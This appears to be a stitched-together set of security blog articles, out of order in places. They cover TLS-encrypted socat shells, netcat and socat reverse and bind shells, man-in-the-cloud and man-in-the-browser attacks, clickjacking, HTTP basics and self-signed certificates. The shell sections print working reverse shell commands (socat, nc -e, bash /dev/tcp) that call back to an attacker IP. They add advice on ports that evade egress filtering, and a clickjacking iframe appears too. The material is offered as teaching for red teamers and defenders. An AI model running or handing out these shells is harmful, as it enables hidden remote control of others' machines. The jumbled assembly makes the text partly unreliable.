Imagine you want to send a secret message to someone:

1. They send you a box with an open padlock — this padlock is their public certificate.

2. You write your secret (session key), lock the box with their padlock, and send it back.

3. Only they can open it — because only they have the key to that lock (private key).

4. Now both of you use that shared secret (session key) to talk securely.

How TLS Makes Your Shell Invisible (ft. OpenSSL + Socat)

What This Article Covers

• What happens during a TLS/SSL handshake

• How .pem files work

• How socat uses OpenSSL for encrypted reverse shells

• Step-by-step encryption breakdown (no hand-waving!)

• Why this matters for red teamers and defenders

1. What Is a .pem File?

A .pem file is usually just Base64-encoded text that contains:

When you run socat with cert=shell.pem, the certificate is sent to the client, but the private key stays local.

2. TLS/SSL Handshake (Behind the Scenes)

Let’s say you're using this command on the attacker side:

socat OPENSSL-LISTEN:4443,cert=shell.pem,verify=0 -

And on the target:

socat OPENSSL:<attacker-ip>:4443 EXEC:/bin/bash

Here’s what happens:

1. Server Sends Public Certificate

• The attacker (server) sends only the certificate (public part of shell.pem).

• It's sent unencrypted — and that's perfectly fine.

  • TLS is designed that way. Public certificates aren’t secrets.

2. Client Encrypts a Session Key

• Both parties agree on cipher suite (e.g., AES-256).

• The client:

  • Generates a random session key (symmetric key).

  • Encrypts this session key using the server’s public key.

  • Sends the encrypted session key to the server.

3. Server Decrypts the Session Key

• The attacker uses their private key (stored in shell.pem) to decrypt the session key.

• Now both client and server share the same symmetric key.

4. Encrypted Shell Communication Begins

• The client runs /bin/bash.

• Shell input/output is now encrypted using the session key.

• The attacker sees decrypted shell output in real time.

All of this happens in a matter of milliseconds.

Real Socat TLS Shell Demo

Attacker:

socat OPENSSL-LISTEN:4443,cert=shell.pem,verify=0 FILE:`tty`,raw,echo=0

Victim:

socat OPENSSL:<attacker-ip>:4443 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

This gives you a fully encrypted interactive shell, using OpenSSL underneath.

Quick Summary: TLS with Socat

Imagine two spies trying to communicate. One spy (attacker) waits at a safe house (port). The other spy (target) reaches out to initiate a secret chat - that’s a reverse shell. But if the safe house is locked and inaccessible, the first spy might knock on the other spy’s door instead - that’s a bind shell.

Now let’s understand how this works using Socat, the Swiss Army knife of networking tools.

What is Socat?

Socat (SOcket CAT) is a powerful command-line utility used to establish bidirectional data transfers between two data channels. Think of it as Netcat's smarter cousin. It can create encrypted connections, handle TTYs better, and forward between many protocols (TCP, UDP, UNIX sockets, etc.).

Netcat vs Socat

Reverse Shell with Socat

Target Command (sends shell to attacker):

socat EXEC:"bash -li",pty,stderr,setsid,sigint,sane TCP:<attacker-ip>:<port>

What this does:

• EXEC:"bash -li": Launches an interactive login bash shell.

• pty: Allocates a pseudo-terminal, making the shell behave properly.

• stderr,setsid,sigint,sane: Ensures proper signal handling and clean I/O.

• TCP:<attacker-ip>:<port>: Connects to the attacker’s IP and port.

Attacker Command (listen and forward to terminal):

socat TCP-L:<port> STDIO

Or better, for a real terminal interface:

socat TCP-L:<port> FILE:`tty`,raw,echo=0

Let’s breakdown the above command:

TCP-L:4444

• This says: “Listen on TCP port 4444 (for example)”

• When someone connects, receive data from them

• This is your input stream

FILE:/dev/pts/X,raw,echo=0 (i.e., FILE:`tty` )

• This is a file that represents your terminal (your screen + keyboard)

• This is your output stream

• Anything received over TCP will be written into this file (i.e., your terminal)

• Anything you type goes into this file, and socat sends that to the TCP connection

This is the redirection:

• Data from the TCP socket ←→ your terminal

• socat copies data in both directions

Full I/O Redirection Explained - Flow:

• TCP-L:4444 ← input from reverse shell

• FILE:`tty` → sends that input into your terminal screen

• Your keystrokes (in that terminal) go into /dev/pts/X and get sent back to the reverse shell via the TCP socket

Bind Shell with Socat

Target Command (starts a listener with shell):

socat TCP-L:<port>,reuseaddr,fork EXEC:"bash -li",pty,stderr,setsid,sigint,sane

• TCP-L:<port>: Starts a listener on the target's machine.

• reuseaddr,fork: Allows reuse of the port and handles multiple connections.

• EXEC:"bash -li": Same — starts a bash shell.

• pty,setsid: Ensures TTY allocation and session control.

Attacker Command (connects to target):

socat STDIO TCP:<target-ip>:<port>

Choosing the Right Port

• Reverse Shell: Choose commonly allowed outbound ports like 443, 80, or 53 because most firewalls allow outgoing traffic on these.

• Bind Shell: Choose ports less likely to be firewalled on the inbound side, but this is trickier. If a firewall blocks incoming traffic to unknown ports, bind shells won’t work well.

Reverse shells are more firewall-friendly in real-world scenarios.

TL;DR

Serious Note: Why did the hacker break up with Netcat?
Because Socat had better communication skills and actually listened on both ends. 😎

Analogy:

Imagine you're locked outside your house (the attacker's machine), and the only way in is by having someone inside (the target machine) call you and leave the door open and that’s a reverse shell.

But what if you could just tell the house to open its door and wait for you to enter? That’s a bind shell.

What’s the Goal?

The attacker wants remote command execution to run commands on the target system as if they were sitting at its terminal. Two common ways to do this:

• Reverse Shell: The target connects back to the attacker.

• Bind Shell: The target listens on a port; the attacker connects in.

What is Netcat?

netcat (or nc) is a Swiss army knife for TCP/IP it can:

• Connect to ports

• Listen on ports

• Transfer files

• Act as a simple chat client

• Create shells!

Reverse Shell

Setup:

• The attacker sets up a listener on a specific port.

• The target initiates a connection to the attacker and sends over a shell.

On Attacker Machine:

nc -lvnp 4444

What it means:

• -l : listen mode

• -v : verbose (see what's happening)

• -n : don’t resolve DNS (makes the command run faster)

• -p 4444 : listen on port 4444

  When the victim runs the command (below), you get their shell in your terminal!

On Target Machine:

nc <attacker_ip> 4444 -e /bin/bash

What it does:

• nc: runs Netcat

• <attacker_ip>: IP of the attacker machine

• 4444: port to connect to

• -e /bin/bash: executes /bin/bash and sends I/O over the connection🔗 Bind Shell

Note: In many modern systems, netcat is compiled without the -e option for security reasons.

Alternative (On Target):

bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1

Breaking Down the above command:

• bash -i: starts an interactive shell

• >& /dev/tcp/...: sends stdout and stderr to the TCP connection

• 0>&1: connects stdin to stdout (bidirectional shell).

One thing to keep in mind is that the bash -i is executed after all the file descriptors are set.

Bind Shell

Setup:

• The target sets up a listener on a specific port.

• The attacker initiates a connection to the target and receives a shell.

On Attacker Machine:

nc <victim_ip> 4444

Attacker connects to the victim’s IP in the specified port.

On Target Machine:

nc -lvnp 4444 -e /bin/bash

Target is saying:
"I'm listening on port 4444. If someone connects, they get my Bash shell."

Note: Use the alternative way if the -e option is blocked.

Defense Tips

• Monitor outgoing connections to strange IPs.

• Use firewalls to block unauthorized traffic (both inbound and outbound).

• Disable nc, bash -e, or socat if not needed.

• Use EDR tools to detect suspicious shell behavior.

Firewall Considerations: Reverse vs Bind Shell

Let’s talk firewalls - the digital bouncers of the network world.

When you're setting up a reverse shell or a bind shell, firewall behavior plays a huge role in whether your connection will succeed or get silently dropped.

Reverse Shell

You (the attacker) listen, and the victim connects out to you.

• The victim machine is initiating an outbound connection and outbound traffic is usually allowed by default on most firewalls.

• So, you should pick commonly allowed ports like:

  • 80 (HTTP)

  • 443 (HTTPS)

  • 53 (DNS)

These ports are less suspicious and more likely to sail past restrictive egress filters.

Why it works:

• Outbound connections are needed for daily stuff (browsing, updates), so they’re rarely blocked.

• Firewalls usually don’t mind if a user connects out to the internet but hate when something tries to get in.

Bind Shell

The victim opens a port and waits — and you connect in.

Sounds simple, but...

• Most systems block incoming traffic unless you explicitly allow it.

• Victims behind NAT, routers, or corporate firewalls? Yeah! good luck reaching them directly.

• You could try to be sneaky by binding to 80 or 443, but:

  • You might clash with existing services (like web servers).

  • Ingress filtering still might kill the connection.

Why it usually fails:

• Inbound traffic is seen as more dangerous.

• Unless the firewall/NAT is configured to forward your connection, it gets dropped.

Real-World Tip:

When in doubt — go reverse. It’s more reliable, more stealthy, and plays nice with firewalls.

In next article we will use Socat (Superior to netcat) for the same application. Click → [SOCAT SUPREMACY]

Analogy: Twin Keys to a Shared Locker

Imagine you and your friend share a locker. You both have a key (token). One day, a stranger steals your key, uses their copy to sync the locker with their own, takes whatever you store inside, then secretly puts your key back.You never notice anything wrong but they’ve already read your diary, taken your snacks, and copied your cheat sheet. That’s exactly how MITC works.

How MITC Attacks Work

1. Initial Infection

• You’re tricked into downloading malware - maybe a fake software update or a malicious attachment.

• It installs silently and begins its work.

2. Token Manipulation

• Cloud apps use synchronization tokens stored on your device to keep your files in sync.

• The malware steals your token and swaps it with the attacker’s token.

• Your device is now syncing with their cloud storage. Yikes.

3. Data Theft & Remote Control

• The attacker now:

  • Accesses all your synced files in real time.

  • Hides malicious commands inside files you automatically sync.

  • Uses the sync process to exfiltrate data without tripping alerts.

4. Covering Tracks

• After the dirty work is done, the malware restores your original token.

• Sync resumes normally and you don’t notice a thing.

• Meanwhile, the attacker walks away with your data or leaves a backdoor behind.

Real-World Example

1. You open a malicious PDF labeled “invoice.pdf.”

2. Malware silently installs and swaps your OneDrive sync token with the attacker’s.

3. Your documents start syncing to their account - live.

4. They steal your data, restore your token, and vanish like a ghost.

Defending Against MITC Attacks

• Enable MFA: Prevent token abuse by requiring second-factor logins.

• User Awareness: Don’t trust sketchy downloads or fake updates.

• Endpoint Detection Tools: Spot token manipulation or strange sync behaviors.

• Monitor Cloud Logs: Watch for syncs from new devices or locations.

• Use Cloud Security Posture Management (CSPM): Set alerts for anomalies and access changes.

Why MITC Is So Dangerous

• Blends in: Uses legit services, so it looks normal.

• No traffic hijacking needed: Completely sidesteps network monitoring tools.

• Token restored: Makes forensic analysis harder.

In short, it’s invisible, persistent, and very effective.

Imagine you're ordering food online. You fill out a form with your name, address, and order. That form gets sent to the restaurant. The restaurant cooks your food and sends it back with a receipt. In web terms, you're the browser (client), the restaurant is the server, and the form is your HTTP request. Let's break down what that “form” actually contains.

Step 1: You Make a Request

Whenever you visit a webpage or interact with a web app, your browser initiates an HTTP request to the server.

What’s included in the request:

1. Request Line

   • Specifies the HTTP method (e.g., GET, POST), the path (e.g., /login), and the HTTP version.

   • Example:
     GET /dashboard HTTP/1.1

2. HTTP Headers

   • Metadata that describes the request and the client making it:

     • Host: Target domain (example.com)

     • User-Agent: Info about the browser or client

     • Accept: Data formats it can process (e.g., application/json)

     • Authorization: API tokens, Bearer tokens, Basic Auth, etc.

     • Referer, Origin, Accept-Language, and others

3. Cookies (if applicable)

   • The browser includes any cookies previously set by the server.

   • Example:
     Cookie: session_id=abc123; theme=dark

4. Query Parameters

   • Key-value data sent in the URL itself.

   • Example:
     /search?q=networking&sort=latest

5. Request Body (mainly in POST, PUT, PATCH)

   • Sent when data is being submitted (like login credentials or form data).

   • Often formatted in JSON or x-www-form-urlencoded.

   • Example:

       {
         "username": "admin",
         "password": "hunter2"
       }
     

6. IP Address & Port

   • Although not in the request body, the server sees your public IP and the source port as part of the underlying TCP connection.

How Is It Sent?

The request is sent over:

• HTTP: Plain text (not secure)

• HTTPS: Encrypted via TLS/SSL (secure)

The browser performs a DNS lookup, opens a TCP connection (or reuses one), performs a TLS handshake (if HTTPS), and then sends the full HTTP request over this connection.

Step 2: Server Processes the Request

• The server receives the request and uses:

  • The path to route to the correct resource

  • The headers and body to understand what you want

  • The cookies or tokens to identify you (session, auth)

• The server runs any business logic (e.g., checking credentials, fetching data, writing to a database)

Step 3: Server Sends a Response

The server crafts an HTTP response and sends it back to the client.

What’s in the response:

1. Status Line

   • Indicates the outcome of the request.

   • Example:
     HTTP/1.1 200 OK

2. Response Headers

   • Information about the response or instructions for the client.

     • Content-Type: Format of the response body (e.g., application/json, text/html)

     • Set-Cookie: Tells the browser to store or update a cookie

     • Cache-Control, Content-Length, Server, CORS headers, etc.

3. Response Body

   • The actual content: could be HTML, JSON, an image, or anything else.

   • Example (JSON):

       {
         "message": "Login successful",
         "user": {
           "id": 123,
           "role": "admin"
         }
       }
     

Summary of the Flow

1. Client sends request:

   • Includes method, URL, headers, cookies, and optionally body data.

2. Server processes request:

   • Validates input, applies logic, fetches/stores data.

3. Server responds:

   • Sends back a status, headers, and content.

4. Client receives response:

   • The browser renders it or processes the data (e.g., shows a success message or displays a page).

And remember:
If your date doesn't respond, it's not ghosting — it's just a 408 Request Timeout. 💔

Imagine you're trying to press the "Submit" button on a scholarship form, but someone placed a transparent glass over it — and on their side of the glass, they drew a fake "Claim Prize" button. You think you're clicking your form, but you're really giving them access to your bank account.
That’s clickjacking — tricking you into clicking something you can’t see.

What is Clickjacking?

Clickjacking (a.k.a. UI Redressing) is a type of attack where a malicious site hides or overlays elements from a legitimate site inside invisible frames or layers.

It tricks users into unknowingly clicking on buttons, links, or UI elements — usually to perform sensitive actions like:

• Liking a social media page

• Changing account settings

• Making a financial transaction

• Giving camera/microphone permissions

The key: The user thinks they’re clicking on one thing, but the click is hijacked and used elsewhere.

How Clickjacking Works (Step-by-Step)

1. Attacker Builds a Malicious Page

They create a website that looks innocent — a quiz, a free gift, a video, etc.

2. They Embed the Target Website (via iframe)

The attacker uses HTML to embed the legitimate website inside an <iframe>, like this:

<iframe src="https://targetsite.com/profile-settings" style="opacity: 0; position: absolute; z-index: 999;"></iframe>

They set it to:

• opacity: 0 → completely invisible

• position: absolute → place it exactly over a visible button

• z-index: high → ensure it stays above everything

3. They Trick You into Clicking

The user sees a visible “Click Me” button or fun game on screen. But behind it (in the invisible iframe) is a button from another site — like “Delete Account” or “Make Payment.”

When the user clicks what they see, they’re actually clicking what they don’t see — the attacker’s intended target.

4. Action Is Performed — Without User Realizing

The target website processes the click as valid:

• You liked someone’s page

• You changed your settings

• You sent money

All without your informed consent.

Variants of Clickjacking

• Likejacking: Tricks user into “liking” something on social media

• Cursorjacking: Moves the visible cursor away from the actual click point

• File upload jacking: Tricks users into uploading sensitive files

• Permission jacking: Hides prompts like “Allow camera” or “Enable mic” behind fake UI

How to Defend Against Clickjacking

For Developers / Site Owners:

• Use X-Frame-Options header

    X-Frame-Options: DENY
  

  Prevents your site from being embedded in an iframe.

• Use Content Security Policy (CSP):

    Content-Security-Policy: frame-ancestors 'none';
  

  Gives stricter control over which origins can embed your content.

• Framebusting Scripts (less preferred now):
  JavaScript to detect if the site is loaded in an iframe and then break out of it.

For Users:

• Use modern browsers that respect clickjacking protections.

• Disable JavaScript or iframes on suspicious sites (via plugins like NoScript).

• Avoid interacting with shady quizzes, popups, giveaways.

• Use browser extensions that alert you if iframes or redressing behavior is detected.

TL;DR

• Clickjacking tricks you into clicking something invisible.

• It often uses iframes, opacity, and CSS positioning.

• The attack is silent, effective, and hard to spot visually.

• Web developers must implement headers to prevent their sites from being abused.

I thought I was clicking “Submit.” Turns out I just donated my kidney and liked someone's crypto scam page : )

Analogy

Imagine handing a perfectly filled bank transfer form to a bank employee. But just before submitting it, someone invisible in the system quietly changes the recipient and amount. You still get a printed receipt showing what you entered — but your money's already gone to someone else.
That’s what a Man-in-the-Browser (MitB) attack feels like — a silent thief inside your browser.

What is a Man-in-the-Browser Attack?

MitB is an advanced form of a Man-in-the-Middle (MitM) attack, but instead of hijacking data between your browser and the internet, the attacker hijacks it from inside your browser.

They do this using malware (usually a Trojan) that infects your system and secretly alters what your browser sends and receives.

How the Attack Works — Step by Step

1. Trojan Infection

The attacker infects your system with a Trojan using:

• Malicious downloads

• Phishing emails

• Fake software installers

2. Browser Injection

The Trojan installs malicious scripts or browser extensions that hook into your browser.

3. Browser Restarts, Code Activates

Once the browser restarts, the malicious code goes live.

4. Targeted Websites Are Watched

The malware watches for visits to specific sites — e.g., online banking or payment gateways.

5. User Logs In Normally

You log in to your bank with the correct credentials over HTTPS. Everything looks normal.

What Happens Behind the Scenes?

Step 1: Registering a Button Handler

The malware hooks into the browser and waits for actions — like form submissions or clicks.

Step 2: Intercepting & Modifying Data

When you submit a transaction:

• The malware reads the form data using the DOM.

• It modifies the values silently (e.g., changes ₹100 to ₹10,000 and changes the account).

Step 3: Sending Modified Data

The altered data is sent to the server, which has no idea it’s been tampered with.

Step 4: Altering the Receipt

The server responds with confirmation (for the attacker's version of the transaction), but...

• The malware modifies the receipt back to look like your original request.

Step 5: User is Fooled

You see a receipt for ₹100 to “Person A,” but the bank has actually processed ₹10,000 to “Attacker’s Account.”

Why This Is Dangerous

• Invisible to Users
  Users see what they expect — everything looks legit

• Bypasses Encryption & 2FA
  Because the attack happens after login, inside your trusted browser

• Hard to Detect on the Server Side
  The request comes from a legitimate session

How to Defend Against MitB Attacks

• Use Endpoint Protection
  Anti-malware tools can catch Trojans before they infect the browser.

• Keep Browsers Updated
  Many MitB attacks exploit outdated browser vulnerabilities.

• Disable Unnecessary Extensions
  Avoid shady plugins or extensions with high permissions.

• Use Out-of-Band Transaction Verification
  Banks should confirm actions via SMS, email, or a separate device.

• Server-Side Anomaly Detection
  Monitor for suspicious behavior like changes in beneficiary or amount.

• Security Awareness for Users
  Teach users how to identify phishing emails and fake software.

TL;DR

1. Trojan infects the browser

2. Malicious code watches for sensitive actions

3. Data is modified silently during transactions

4. Fake confirmation screens trick the user

5. The attacker successfully steals money or data

Stay tuned — next in the ‘Exploits Explained’ series: Clickjacking.

Example Scenario: Local Testing of a Login Page

You are a cybersecurity student working on a lab project where you've set up a simple login page on your local machine — something like http://localhost/login.html.

Now, you want to:

• Simulate secure user login (so usernames and passwords are not sent in plain text)

• Test how HTTPS behaves

• Practice intercepting traffic using tools like Burp Suite or Wireshark

But here's the problem:

• Your browser or tools may block or limit features if you're using plain HTTP

• Some security features (like secure cookies or testing SSL/TLS behavior) only work with HTTPS

What You Do Instead

You generate a self-signed SSL certificate, set up HTTPS, and access your site at:
https://localhost/login.html

Now, everything behaves like a real-world secure website:

• Data (like login credentials) is encrypted

• You can observe how SSL works locally

• Tools like Burp Suite can capture and analyze encrypted traffic

• You simulate a realistic attack-defense environment

Why Use a Self-Signed Certificate Locally?

1. Encrypt Local Traffic

Simulate a secure environment, even when working on localhost. This ensures that data passed between your browser and server is encrypted.

2. Test HTTPS-Only Features

Modern web features and APIs demand HTTPS — even for local development. A self-signed cert unlocks this functionality.

3. Cost-Free & Easy

No need to purchase or renew certificates. Self-signed certs are free and fast to create.

4. Bypass HTTPS Warnings for Local Dev

Yes, browsers will complain — but for local use, you can manually trust your cert and continue testing securely.

How to Use a Self-Signed Certificate (Quick Steps)

Step 1: Generate the Certificate Using OpenSSL

Open your terminal and run:

openssl req -x509 -newkey rsa:2048 -nodes -keyout key.pem -out cert.pem -days 365

Now you have:

• key.pem → your private key

• cert.pem → your self-signed certificate

Step 2: Configure Your Local Server

You need to tell your web server to use the self-signed certificate:

🔸 For Node.js it will be like:

const https = require('https');
const fs = require('fs');

const options = {
  key: fs.readFileSync('key.pem'),
  cert: fs.readFileSync('cert.pem')
};

https.createServer(options, (req, res) => {
  res.writeHead(200);
  res.end('Hello from HTTPS!');
}).listen(3000, () => {
  console.log('Server running at https://localhost:3000/');
});

You can also configure Apache, Nginx, or XAMPP similarly. NOTE: the keys are stored in the directory from where you ran the command.

Step 3: Access Your Site Locally with HTTPS

Open your browser and go to:

https://localhost:3000

You’ll see a browser warning ("Connection not secure" or "Untrusted certificate").

Click:

• Advanced → Proceed anyway (in Chrome)

• Accept the Risk and Continue (in Firefox)

Now your local site is using HTTPS with encryption.

Limitations

• Not Trusted by Browsers: You’ll see "Your connection is not private" warnings.

• Not for Production: Never use self-signed certs for public websites. They lack chain of trust.

• Manual Trust Needed: Users (you) must manually approve them each time or install them into the trusted certificate store (in browser settings).